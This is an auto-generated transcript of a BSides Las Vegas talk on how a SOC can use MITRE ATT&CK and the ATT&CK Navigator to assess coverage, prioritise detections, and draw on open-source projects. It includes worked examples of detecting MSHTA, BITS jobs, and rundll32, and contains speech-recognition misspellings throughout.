PG - The SOC Counter ATT&CK - Mathieu Saulnier

all right everyone good morning and welcome to b-sides Las Vegas this is the proving ground this talk is the sock and counter-attack by Matthews own a few announcements before we begin we'd like to thank our sponsors especially our inner circle sponsors critical stack and volley Mayo and our stellar sponsors microsoft robin hood and secure code warrior it's their support along with our other sponsors donors and volunteers that make this event possible one note before we begin all cameras all mics unless you're in the underground track should be assumed to be live and on so with that please silence your cellphone's and if you want to ask a question at the end I will be floating

around with a microphone please raise your hand and I'll bring it to you so that YouTube has the benefit of your question as well thanks lol we'll come to this talk called the sock counter-attack my name is Matt sue Sony you can find me on Twitter at Scooby MTL I'm a senior security architect at Bell Canada which is one of the largest Canadian ISP my rolls are thread hunting team will eat an adversary detection team Lee I'm also giving a talk at the blue team village Sunday at 11:00 about how to use bloodhound for defenders or if you're interested please come along at this point of the presentation you might wonder is this guy mentally challenged

or does he have an accent well according to my doctor it's because I'm French Canadian and I speak like this you will notice that I will or not pronounce HS in front of word then s is at the end of words or I might add them where they don't belong but don't worry bear with me I'm also a big star Wars fan so this presentation like all the other I gave before is heavily star war teamed I will talk for food meaning that I'm here on my own buck so if you want to invite me for lunch or dinner or a beer I'll be very happy for that now here's the agenda so first of all we're going to do

an attack overview we're going to talk about the attack navigator then I'm gonna do I'm gonna tell you how you can make a successful preliminary assessment for your corporation we talked about open attack and open source project and finally we're going to talk about our building the tappan based on attack attack overview what is attack attack stands for to fix techniques and common knowledge it is a knowledge base of adversary behaviors or TTP's TDP stands for tactic which is the y or adversary tactical objective what they want to perform credential access versus persist on your system technique is the AL adversary achieved a technical objective the procedure would be the exact ways that they are doing that for example

using mimic ads to read else's password in memory organization real attack it doesn't contain all the attack under the Sun only those that have been known to be used by adversary in the wild it also provides a common language for the blue teamers the red teamers the community and the vendors so when we talk about the technique we all know exactly what we are talking about it is open source and actively maintained it is community driven and if you want to learn more about attack you can watch the talk from here radio last year attacking the static oh by Cathy Nichols and John wander by the way the last slide of the deck contained a link where you can

download the whole presentation so you don't need to take picture of every slides this is the pyramid of pain this is a simple diagram that shows the relationship between the types of indicators you might use to detect an adversary and how painful it is for an adversary if you deny them those indicator as you can see at the bottom of the pyramid there's the ash value and at the top there are the TTP's attack focuses on TTP's if you want to learn more about the attack free and the primitive paint sorry here is the old but gold blog from David Bianco the pyramid of pain now we're going to talk about the attack navigator and we're going to get started

with our preliminary assessment this is a screenshot of the attack navigator as you can see on the top here you have the 12 tactics here you can see only 10 because otherwise you would have been able to read anything right here at the top there's a little plus sign that you can use if you want to create new layer or import layer that others or yourself I've created in the past because you can save all of this in JSON format with all the information right here is the legend which is probably on a important feature for me the navigator because this is where you say what your color code means because when you go back maybe in three months

or six months and loading your information if you didn't write the legend you probably won't remember what those shiny color means here you have a search button so for example if you want to know where bits job is and you cannot find it you just click it and boom it's right in the middle right here you have the multi select tool so if you want to know for example you want to know all of the techniques that mini cats you you go there you type mini cats and they're all going to be highlighted the same thing for trap actors if you know that your company is being targeted by apt three for example you go there you type apt

three and all the technique will be highlighted now we're going to talk about how to make a successful preliminary assessment for that you need to choose that the basic question that are right for your environment so here are a list of questions that you might use first of all logs do we ask what is the complexity of building that detection so do we think that we're going to need a simple filter that we need correlation between various data source do we think that we're going to need anomaly detection or maybe machine learning AI and all of those fancy stuff what is the come that accompany what's the severity if this technique happened to us high medium or low what is the

problem of being it by that technique for example if the technique is against windows or sorry if the technique is against OSX and you do not have any mac in your environment the probability would be very low do we have the benzene C on earth this might be important in larger organization so just imagine if you have to have your windows and your I is n m-- in your database and men your wife admin firewall admin all in the same table to get all the law that you need that's going to be very complex targets are again in larger Enterprise it's maybe more relevant in small ones probably everything is in scope but in larger environment they

might your stakeholder might tell you you should start with workstation or you should start with servers and even maybe some exact type is there any open source project that can help us speed up the development I will cover some of the projects that you might want to use in order to speed up your project oops sorry I want to go back on the data sources because this is really the core if you don't have any data sources well you won't be able to detect anything obviously so every technique comes with a list of data sources that you can actually use to build your detection so you could just count how many you have out of them you also need to have an

inventory of your data sources so you know which one you can focus on getting for example this month will be used to detect roughly 70% of all the techniques in the matrix so if you don't have this month or something similar in your environment this is probably one of the first thing that you want to get then you can start planning on your retention policy so based on your differ team needs you might want to store locks for different amount of time for example you might want to store firewall locks for three months whereas you want may want to store your sis month for six months once you know that you will need to know

how many EPS or even per second that source doing that will also you will need to know how much it cost your enterprise to store data in hot warm or cold storage and when you have all of that information you'll be able to calculate your return you'll plan your retention policy if you want to learn more about how to start with data sources and attack there was an excellent talk called quantify your aunt not your parent reteaming by Devin Kerr and Roberto Rodriguez that was presented at the site charm last year and also sends the first sonnet now once you need to choose the right question when you have the right question for your organization you need

to assign them points or weights after that you can score each of the TTP based on that score and then you can run a script to apply that score or that color to your JSON file you can do it manually but 244 right clicks and coloring is extremely long and once you have that it's going to be something like this for example how many locks source do I have for this technique for 35% what is the probability of being the target of this does this affect Linux server because my management said you need to focus on Linux server on our DMZ for example is there any open source project that melt me ten percent then you're going to get

something they look like is it like this between zero and thirty five red or low their priority orange medium dev green high def priority it's gonna look somehow like this again if you don't have your legend in three months maybe red mean for you that you have to focus on that right now and you might get it like all reversed once you have that it's time to create a new layer that you can call your your progress and save that somewhere where you have versioning you can show month over month or quarterly or a quarter after how you are so here is an example of what it could look like after quarter one so you can

see that bits job is in green meaning that we have alerting and hardware Edition is an orange meaning that maybe we have a dashboard that we look at on a regular basis this would be cute too so now we have 15 techniques that we cover we can stay we have some improvement especially on our tour Edition that is now green meaning that it went from a dashboard to a live alerts so maybe we add a new data sources that help us without the false-positive that we have before with you have all this information you're going to be able to answer management questions very fast for example March 19 red canary released a trade detection report and

here is the top 10 of the technique that they've seen used in a while as you can see PowerShell is leading by a big margin so with that information we could tell our management within five minutes that we covered nine out of ten of the top ten the very next we start working on the one day we didn't have detection for and now we cover a hundred percent of the top ten and all the remaining turkeys because I believe there were 40 total TTP's in there we bumped their priority by fifteen percent so now we know which one we should focus on after that you need to start knowing your enemy how can you do that first of all you can start

doing threat modeling so you wouldn't attack a retail for the same reason you attack a media company for example so if you're after a retailer maybe you're after credit card number maybe you want to reroute goods to an address you can or maybe you want to change the price of the goods for you actually buy them you would attack maybe a media company because you want to go after the sources to either silence them or buy them out to make them change their stance maybe you want to edit an article in order to make it say something different maybe you want to write tickle in a credible media or maybe you just want to deface the

website and as as many people as possible see your message once you know your threat modeling is done you can look into factors that are through your vertical that will give you you can also start following researchers that focus on those threat actor and that will give you a list of TTP and you can give a priority to those TTP that are you know that the trait actor that are your vertical are using now of course management will need metrics and KPI so they are good metrics and bad metrics or pit fall the good metrics would be showing a monthly progression like we saw a few slides ago you can show your coverage you can also show how you

prioritize your data ingestion you need also maybe it's important or not important but it could be a good thing to show alerting is hunting so al our thing for me is when you actually send another to your sock we're at hunting more dashboard a report that you run on a daily base or even a query that you run on regular basis you can show maybe if you have just one detection or if you have multiple detection for that technique now let's talk about the pitfalls assuming that all TTP's are equal for example we talked about PowerShell vs for example bash history so with PowerShell you can leverage roughly more almost all of the technique in the in

the framework whereas - history would be monitoring one file per user directory so very different scope after that falling for tab vs. coverage if your team is called solely on the number of green they put in the matrix they might be enticed to do very simple detection for each of the technique and move to the other one that could leave you vulnerable if we take the PowerShell example again if your team decide that it will detect only basic base64-encoded payload it's good but it's probably not enough because now you vulnerable to download codes using registry for persistence for example some TTP's are not met for alerting for example file creation file deletion if you create an

alert for every file that is created or deleted in your environment your sock will go crazy they'll lose faith in your detection they will loose a tin attack they'll lose faith in you and most importantly they're probably just leave I know I would converting all the rules from a project into an alert is also a big pitfall and I'm going to talk more in detail about that in a few slides if you want another methodology if you wanna know more sorry about the pitfalls there's a talk presented last year attack on called 5 ways to screw up your attack program with attack now we're going to go into attack an open source first thing first the Sigma project from

floor and drop those are generic Yama files and there's a converter from those Yama file into almost every cm language that you might use this is the coverage of this project jack and there's over 200 rules if you take those 200 rules and you convert them into alert and your sock will be flooded and they'll be pistol so a better approach would be to concentrate on the TTP's that are important for you choose are a number that you can actually handle maybe two to five depending on the size of your team when you're you soak that for a few week and when you're happy with the level of noise then you put them in production and you take the next few

rules next project is this month were from Olaf our tongue which is which map attack technique with sis Mon detection this is the coverage of that project if OS query is more your type don't worry Philippa martini got your back which is OS query attack framework and here's the coverage of that project Olaf's our tongue strikes again which it with is trapped Splunk threat hunting app here if you're not using Splunk don't worry you can open the file you'll locate the search string and here for example you'll see that it's sis Mon ID 1 and we're looking for a common line that is very specific or some processed name that are very specific this is the

coverage of this program but be careful it's called threat hunting and not threat alerting so those rules are extremely noisy so you need to tweak them if you wanna make alerts out of them once you've built a lot of detection it's time to test them an atomic Red Team from red canary does just that those are small and highly portable tests that you can run against your environment red canary is really involved in the community and they have a slack channel where you can discuss various techniques and now to build detection for them they also run atomic they once a month it's a webinar you can assist it's free this is the coverage of the atomic red team I want to thank Tony

Lambert for providing this to me a few days before the slides went live now let's talk about how to build detection so this is the process that we are using I already covered pretty much in depth how we identify which TTP we're going to work on then we're going to proof of concept which is basically building a filter to see how much noise this rule generate then when we were happy with the noise we developed it or we create the alerting pipeline then we trained our analyst and we go life and finally we evolved based on the false positive that occurs one of the very first technique that we tackled was MSHDA it was at the time it was used in

various acting tools and we taught that MSHDA would not be very prevalent in our environment we searched in our logs and we had zero it so that was quite easy content every would see MSHDA generate an alert it will the training we put that into production and to date we have zero false positive one without all the ones that we thought were very easy or very like one filter we started looking into this job so we looked for job and the start bits transfer which is the powershell version of it and we saw that we had a few it's on all of our endpoint we thought that would that was pretty interesting so we start researching

process creation or system on IV one we saw this is the command line that is in the technique in the Meyer framework so we start looking at that then we did some defense evasion Daniel Bohannon style and we noticed that it's very easy to truncate any of those words to avoid your detection so we thought this might not be the best way to detect this technique after that I will look into file creation or event is this money event I like the 11 and we saw something interesting every time you're downloading something with it it will create a file called bit 3 alpha numeric character TMP in the directory where you launched a comment we saw that

almost hundred percent of our hip were in that directory anyone want to take a while guess what that directory is no windows update so we could easily whitelist that domain because it is only writable by administrator and if someone actually used bits to download the file there well you have way bigger problem than a new file in your system then we look so yeah so we built the detection pipeline we build the training we put the detection into production and once again we have zero for that rule run dll 32 we search for rondell 32 now logs and get gazillions of hits we built the alerting pipeline we did white listing for months we build the training when we

were satisfied with the level of noise we put that in production but it kept on generating lots of false positive every time someone would actually install a new a new software or we integrate a new business unit or a new set of server so what we did is actually convert the rule into a dashboard that we review weekly we're also looking into doing some anomaly detection based on process parent process and stuff like that but right now it's still very too early to put it there conclusion here are the few takeaways for you first of all attack addresses the highest level of the Pyramid of pain it is important to perform a preliminary assessment of all

the 244 technique in the attack framework for that you need to choose the right question for enterprise because trust me it is very painful to go over 244 question at second time technique I meant you should practice somewhere I recommend the enterprise again here's the link for it you should use open source project to help you build your detection but be careful of the pit do not confuse alerting with hunting or two very different thing and when there's too many false positive well don't just use dashboards so also for file creation and file deletion there might not be for alerting but they're very good for forensics so once you once you have you know one machine that is

compromised it might be good to have that dashboard actually everything that was done on the system as a file creation file deletion that might you give you good ideas where to investigate last year at Luton village there was a talk called stop drop an Assessor sock which is another way our methodology to get started with attack and here's the link for that talk finally I want to thank grifter pyrotech and Manuel Bohannon for have inspiring me to come here today and submit this talk I want to talk I think cyber Ola for Tom Filippo Matheny and red Canary for the open source programs that they put to the community and of course none of this

would have been possible without my record releasing attack framework at the beginning well and be silent I guess to give me the opportunity to talk here today as promised here is the link for all the slides and again you can find me on twitter at scooby MTO thank you very much

all right we have time for one maybe two questions anybody I think you mentioned that 70% of the TTP's relied on sis Mon do you think it's still useful for a stock that relies mostly on network based logs hmm yes but most of the techniques that are in the attack framework are based on the Oaks and not on activity on the network that's one thing that I think I forgot to mention in the pitfalls I think I skipped this one and that's maybe why I'm a minute extra but not all that all the not all the attacks are in attack only those that have been seeing used by attackers so sometimes you'll have to build something and you have to

show your management that you're doing something outside of the attack framework so that's that would be one of them that you need to show but not with using the attack Navigator so thank you because you just remind me that I skipped something and we do have one more thing for you Matthew let's think Matthew again for his talk